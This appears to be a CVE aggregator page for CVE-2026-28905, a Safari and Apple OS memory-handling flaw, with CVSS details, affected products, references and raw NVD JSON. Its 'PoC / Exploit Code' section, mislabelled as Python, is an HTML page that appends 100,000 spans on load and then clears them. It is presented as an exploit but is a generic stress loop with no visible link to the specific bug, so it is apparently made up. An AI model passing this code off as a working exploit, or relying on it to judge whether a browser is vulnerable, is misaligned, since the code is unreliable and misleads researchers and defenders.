CVE-2026-28905

Description

The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:* - VULNERABLE

Safari < 26.5

iOS < 26.5

iPadOS < 26.5

macOS Tahoe < 26.5

tvOS < 26.5

visionOS < 26.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
Proof of Concept for CVE-2026-28905
This PoC demonstrates a potential trigger for the memory handling issue.
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-28905 Memory Crash PoC</title>
</head>
<body>
    <script>
        // Attempt to trigger memory corruption by manipulating DOM
        function triggerCrash() {
            var container = document.createElement('div');
            document.body.appendChild(container);
            
            try {
                // Create a large number of elements to stress memory handling
                for (var i = 0; i < 100000; i++) {
                    var span = document.createElement('span');
                    span.setAttribute('data-id', i.toString());
                    container.appendChild(span);
                }
                
                // Rapid manipulation to trigger potential race condition or invalid access
                container.innerHTML = '';
                
            } catch (e) {
                console.log("Exception caught: " + e.message);
            }
        }
        
        window.onload = triggerCrash;
    </script>
    <h1>CVE-2026-28905 Test Page</h1>
    <p>If the browser crashes, the vulnerability may be present.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-28905
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-28905
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-28905/
[4] VulDB https://vuldb.com/cve/CVE-2026-28905
[5] https://support.apple.com/en-us/127110
[6] https://support.apple.com/en-us/127115
[7] https://support.apple.com/en-us/127118
[8] https://support.apple.com/en-us/127120
[9] https://support.apple.com/en-us/127121

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-28905", "sourceIdentifier": "[email protected]", "published": "2026-05-11T21:18:53.310", "lastModified": "2026-05-13T21:16:42.743", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "9D9FC2C4-7A7C-4330-A226-255428A5D18E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "0A70A5FD-8891-4C4E-9D35-F217F95027B5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.5", "matchCriteriaId": "6CB91417-90A8-4A9B-A1D0-1D94B80EF837"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "176C47FD-FA25-437B-9061-A81CAA367AEF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "C8F45D80-0DF8-444E-9AF1-703A1075F046"}]}]}], "references": [{"url": "https://support.apple.com/en-us/127110", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127115", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127118", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127120", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127121", "source": "[email protected]"}]}}